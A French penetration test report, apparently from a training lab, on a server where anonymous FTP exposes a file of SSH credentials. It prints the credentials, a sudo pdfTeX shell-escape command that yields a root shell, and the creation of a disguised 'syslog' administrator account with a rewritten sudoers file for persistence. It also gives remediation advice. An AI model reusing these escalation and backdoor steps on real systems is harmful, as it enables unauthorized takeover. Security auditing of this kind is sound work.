Rapport de Test d'Intrusion

SecureApp.com

Propriété	Valeur
Référence:	2025-SEC023
Préparé par:	Clemence Chopin
Version du document:	1.0
Date:	08/05/2025
Type:	Audit de sécurité technique (pentest)
Durée:	2 heures
Lieu:	Audit en ligne
Contact:	contact@secureapp.com
Classification:	Confidentiel
Cible:	https://secureapp.com, IP: 10.39.40.5

Historique des modifications

Version	Date	Description
V1.0	08/05/2025	Publication initiale

Sommaire

Résumé Exécutif

Ce rapport présente les résultats d'un test d'intrusion ciblé réalisé sur le serveur applicatif de l'entreprise SecureApp, ayant pour ip 10.39.40.5. L'objectif était d'identifier les vulnérabilités potentielles et d'évaluer le niveau de sécurité global du serveur.

Au cours de ce test, nous avons découvert 3 vulnérabilités qui peuvent compromettre la sécurité du serveur et de ses utilisateurs :

Vulnérabilité	Sévérité	Impact Principal
CWE-284: Improper Access Control	**CVSS v4.0 Score: 7.1 / High**	Accès à des fichiers confidentiels
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor	**CVSS v4.0 Score: 7.1 / High**	Fichier contenant des données sensibles accessibles
CWE-78: Improper Neutralization of Special Elements used in an OS Command	**CVSS v4.0 Score: 7.3 / High**	Possibilité d'executer des commandes shells en utilisant des characteres speciaux

Ces vulnérabilités représentent un risque significatif pour l'intégrité des données, et le maintient en condition opérationnel du serveur. Nous recommandons vivement de mettre en œuvre les correctifs proposés dans ce rapport dans les plus brefs délais.

Contexte et Cadre du Test d'Intrusion

Clémence Chopin (Secure Testing) a été invité à réaliser un audit de sécurité technique pour SecureApp.com, suite à une mise à jour majeure de la plateforme et avant son déploiement en production.

Objectifs

Les objectifs principaux de ce test d'intrusion étaient les suivants :

- Identifier les vulnérabilités potentielles sur le serveur.
- Évaluer l'efficacité des mécanismes de sécurité en place
- Déterminer l'impact potentiel de chaque vulnérabilité découverte
- Fournir des recommandations pour renforcer la posture de sécurité

Limitations

Les limitations suivantes ont été appliquées lors du test :

- Aucune attaque de type déni de service (DoS) n'a été réalisée
- Les tests ont été effectués dans un environnement contrôlé
- Les tests d'ingénierie sociale n'ont pas été inclus dans le périmètre

---

Méthodologie Technique et Évaluation

Le tableau suivant récapitule les niveaux de criticité basés sur le Common Vulnerability Scoring System (CVSS).

Niveau	Score CVSS	Description
Critique	9-10	Les vulnérabilités de niveau critique sont exploitables à distance (grande portée) et/ou sans conditions particulières d'accès et/ou sans authentification. Elles peuvent compromettre rapidement et facilement le système ciblé, voire les données utilisateurs. Elles doivent être traitées de façon urgente et prioritaire.
Haut	7-8.9	Les vulnérabilités de niveau haut ont un impact sur le système ciblé et/ou peuvent être exploitées à distance et/ou sans authentification.
Moyen	4-6.9	Les vulnérabilités de niveau moyen n'ont qu'une portée ou un impact réduit. L'exploitation requiert par exemple une authentification.
Bas	0.1-3.9	Les vulnérabilités de niveau bas sont sans effet ou presque sur le système visé.
Nul	0	Les vulnérabilités de niveau nul n'ont aucun impact sur le système visé.
Info	-	Information donnée au sujet d'une vulnérabilité ou d'un système

Types de preuve et de correction

Chaque vulnérabilité rapportée est fournie avec au moins un élément de preuve réplicable.

Voici quelques exemples de preuves possibles :

1. Preuves techniques (bout de code, lien vers une page web, etc)
2. Preuves méthodologiques (utilisation d'outil, de méthodologies)
3. Preuves informelles (informations divulguées, etc)

Chaque vulnérabilité rapportée est fournie avec un élément de correction (capture d'écran, preuve écrite ou lien web).

Phases de Test

Notre approche du test d'intrusion a suivi la méthodologie standard en six phases :

1. Reconnaissance

Collecte d'informations publiques sur l'entreprise et son infrastructure, analyse des DNS, recherche de sous-domaines, et identification des technologies utilisées.

2. Scan

Nous avons effectué un scan complet de l'infrastructure en utilisant différents outils pour identifier les services exposés, les ports ouverts et les technologies utilisées :

- **Nmap** : Scan de port complet avec détection de service et de système d'exploitation

3. Analyse des vulnérabilités

Tentative de connexion aux différents services identifiés lors de la phase de scanning.

4. Exploitation

Tentatives d'exploitation des vulnérabilités identifiées avec création de preuves de concept (PoC) et évaluation de l'impact réel sur le système.

5. Persistance

Nous avons pu créer un compte administrateurs sur la machine cible et ainsi s'assurer de nos futures connexions

6. Documentation

Documentation détaillée de toutes les découvertes, incluant les méthodes de reproduction, les preuves d'exploitation, l'analyse d'impact et les recommandations de correction.

Outils utilisés

Outil	Objectif
Nmap	Scan de ports et de services

Périmètre Technique

L'audit de sécurité a été mené sur l'environnement suivant :

- 10.39.40.5 - Ubuntu
- serveur ftp - vsftpd 3.0.3
- Serveur ssh - OpenSSH 7.6p1
- Système d'authentification et gestion des utilisateurs

Participants

Les personnes suivantes ont participé au test d'intrusion :

Nom et prénom	E-mail	Téléphone	Rôle
Clemence Chopin	telynor@gmail.com	01 23 45 67 89	Auditeur technique principal

---

Sommaire des Vulnérabilités trouvées et recommandations

Résumé de l'expertise

Vulnérabilité et Niveau de criticité	Recommandations	Actifs concernés	Score CVSS
CWE-284: Improper Access Control	Désactiver les accès anonymes sur le FTP	serveur ftp - vsftpd 3.0.3	7.1
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor	Ne pas stocker de mot de passe dans des fichiers non sécurisés, privilégier des gestionnaires de mots de passe	-	7.1
CWE-78: Improper Neutralization of Special Elements used in an OS Command	Mettre à jour les logiciels d'entreprise, se tenir informé des vulnérabilités	pdfTeX 3.14159265-2.6-1.40.18	7.3

Les tests effectués ont permis de dévoiler 3 vulnérabilités de niveau critique. N'importe quel utilisateur sur le réseau peut accéder au FTP et obtenir des crédentials lui permettant d'interagir avec une application vulnérable et d'obtenir ainsi un accès super utilisateur.

Analyse du Risque Global

Facteurs d'attaque

Vecteur d'attaque

Réseau (Network) - AV:N

Attaque qui peut être menée depuis Internet sans accès physique ou local au système

Complexité

Faible (Low) - AC:L

Pas d'effort ou de préparation particulière requise pour l'exploitation

Privilèges requis

Aucun (None) - PR:N

Pas de compte utilisateur ou d'authentification préalable nécessaire

Interaction humaine

Requise (Required) - UI:R

Pour certaines vulnérabilités, une interaction avec un utilisateur légitime est nécessaire

Facteurs d'impact

Périmètre

Changé (Changed) - S:C

L'attaque peut permettre d'exploiter davantage le système au-delà du composant vulnérable

Confidentialité

Élevée (High) - C:H

Les données confidentielles de l'application et des utilisateurs peuvent être compromises

Intégrité

Élevée (High) - I:H

Les données peuvent être modifiées ou altérées de manière significative

Disponibilité

Élevée (High) - A:H

L'application peut être rendue indisponible ou sérieusement compromise

---

Détails des Vulnérabilités

CWE-284: Improper Access Control

Propriété	Détail
Catégorie OWASP	A01:2021-Broken Access Control
Sévérité	CVSS 7.1.0 (Élevé)
Service Affecté	Serveur ftp - vsftpd 3.0.3

Description

Cette vulnérabilité survient lorsque les contrôles d'accès sont mal configurés ou absents, permettant à des utilisateurs non autorisés d'accéder à des ressources sensibles. Un attaquant pourrait ainsi consulter des fichiers censés être restreints.

Impact

1. Lecture de fichiers confidentiels
2. Fuite d'informations critiques

Preuve d'Exploitation

Dès la phase de scan, nous sommes informés de la présence de fichiers accessibles sur le serveur FTP

```
pentest@cyberini1:/home/pentest$ nmap -A 10.39.40.5 -p 21
Starting Nmap 7.94 ( https://nmap.org ) at 2025-04-08 08:45 UTC
Nmap scan report for cvqcs4us_cvqcs5eslcb111osrf60.cvqcs4uslcb111osrf50 (10.39.40.5)
Host is up (0.00012s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0              13 Aug 27  2024 identifiants-ssh.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.39.40.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```

Il n'est pas nécessaire de specifier de mot de passe pour se connecter au serveur FTP.

```
ftp anonymous@10.39.40.5
Connected to 10.39.40.5.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Recommandations

1. **Désactiver les accès anonyme sur le FTP**

```
[root@server ~]# vi /etc/vsftpd/vsftpd.conf
#in the 12th line edit line any of below two (uncomment the line if commented)
anonymous_enable=NO          #(to disable anonymous access)
# Now save the vsftpd.conf configuration file and Restart the vsftpd daemon
```

2. **Audit des journaux** - Vérifier les journaux pour identifier d'éventuelles tentatives d'exploitation passées

Références

- vsftpd_conf
- A01:2021-Broken Access Control

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Propriété	Détail
Catégorie OWASP Top 10	A01:2021 – Contrôles d'accès défaillants
Sévérité	CVSS 7.1 (Élevée)

Description

Des identifiants SSH sont accessibles dans un fichier texte non crypté, et non protégé.

Reproduction

1. Connexion en utilisateur anonyme sans mots de passe sur serveur FTP
2. Liste des fichiers présents sur le serveur FTP
3. Téléchargement du fichier texte
4. Lecture du fichier texte

Preuve d'Exploitation

```
ftp anonymous@10.39.40.5
Connected to 10.39.40.5.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||49455|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0              13 Aug 27  2024 identifiants-ssh.txt
226 Directory send OK.
ftp> get identifiants-ssh.txt
local: identifiants-ssh.txt remote: identifiants-ssh.txt
229 Entering Extended Passive Mode (|||52348|)
150 Opening BINARY mode data connection for identifiants-ssh.txt (13 bytes).
100% |***********************************************************************|    13      178.80 KiB/s    00
226 Transfer complete.
13 bytes received in 00:00 (27.96 KiB/s)
ftp> exit
221 Goodbye.
pentest@cyberini1:/home/pentest$ cat identifiants-ssh.txt
alice:mdp456
```

Impact

Cette vulnérabilité permet d'accéder à des fichiers sensibles

- **Vol de données** - Un attaquant peut voler des fichiers contenant des données sensibles
- **Vol d'identifiant** - Un attaquant peut voler des identifiants et ainsi prendre le contrôle d'autres machines dans le system d'information.

Recommandations

1. Ne pas stocker de données sensibles sur le réseau dans des fichiers non cryptées.
2. Sensibiliser les utilisateurs à l'importance de la confidentialité des mots de passe
3. Mettre en place une action de changement de mot de passe.

Références

- A01:2021 – Contrôles d'accès défaillants
- Pourquoi et comment utiliser un gestionnaire de mots de passe ?
- Mots de passe : une nouvelle recommandation pour maîtriser sa sécurité

CWE-78: Improper Neutralization of Special Elements used in an OS Command

Propriété	Détail
Catégorie OWASP Top 10	A03:2021 – Injection
Sévérité	CVSS 7.6 (Élevée)
Service Affecté	pdfTeX 3.14159265-2.6-1.40.18

Description

Des données externes sont utilisées sans être correctement filtrées, permettant potentiellement l'injection de commandes malveillantes et la modification du comportement attendu du système.

Reproduction

1. Utiliser les identifiants trouvé sur le serveur FTP pour établir une connexion au serveur SSH
2. La commande sudo -l permet d'identifier un service accessible avec une élévation de privilège, pdfTeX.
3. Utilisation d'une faille dans ce service pour obtenir un shell administrateur sur la machine cible
4. Création d'un compte administrateur pour persister notre présence dans le system

Preuve d'Exploitation

```
alice@cyberini2:~$ echo "\immediate\write18{/bin/bash}
> \bye
> " > /tmp/exploit.txt
alice@cyberini2:~$ sudo /usr/bin/pdftex --shell-escape /tmp/exploit.txt
This is pdfTeX, Version 3.14159265-2.6-1.40.18 (TeX Live 2017/Debian) (preloaded format=pdftex)
 \write18 enabled.
entering extended mode
(/tmp/exploit.txtroot@cyberini2:/home/alice# whoami
root
root@cyberini2:/home/alice#

root@cyberini2:/home/alice# adduser syslog
Adding user syslog' ...
Adding new group syslog' (1001) ...
Adding new user syslog' (1001) with group syslog' ...
Creating home directory /home/syslog' ...
Copying files from /etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for syslog
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y

root@cyberini2:/home/alice# echo "
> #
> # This file MUST be edited with the 'visudo' command as root.
> #
> # Please consider adding local content in /etc/sudoers.d/ instead of
> # directly modifying this file.
> #
> # See the man page for details on how to write a sudoers file.
> #
> Defaults        env_reset
> Defaults        mail_badpass
> Defaults        secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
>
> # Host alias specification
>
> # User alias specification
>
> # Cmnd alias specification
>
> # User privilege specification
> root    ALL=(ALL:ALL) ALL
> alice  ALL=(ALL:ALL) NOPASSWD: /usr/bin/pdftex
> # Allow members of group sudo to execute any command
> %sudo   ALL=(ALL:ALL) ALL
> # See sudoers(5) for more information on @include directives:
>
> #includedir /etc/sudoers.d
> syslog ALL=(ALL:ALL) ALL" | tee /etc/sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
alice  ALL=(ALL:ALL) NOPASSWD: /usr/bin/pdftex
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on @include directives:

#includedir /etc/sudoers.d
syslog ALL=(ALL:ALL) ALL
root@cyberini2:/home/alice#

pentest@cyberini1:/home/pentest$ ssh syslog@10.39.40.5
syslog@10.39.40.5's password:
Last login: Tue Apr  8 12:24:49 2025 from 10.39.40.5
syslog@cyberini2:~$
```

Impact

Cette vulnérabilité permet à un attaquant de s'installer durablement sur la machine

- L'attaquant peut élever ses privilèges et obtenir des droits d'administateurs
- L'attaquant peut ensuite prendre le contrôle total de la machine, voler ou supprimer des données, persister son accès à la machine, pivoter latéralement sur le réseau.

Recommandations

1. Mettre à jour pdfTeX, et de manière générale toutes les applications d'entreprise.
2. Effectuer une revue de compte et de log pour s'assurer que la vulnérabilité n'a pas déjà été exploitée
3. Configurer pdfTeX afin de rendre son usage possible sans escalation de privilège.

Références

- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- pdfTeX - CVE-2024-43426 Detail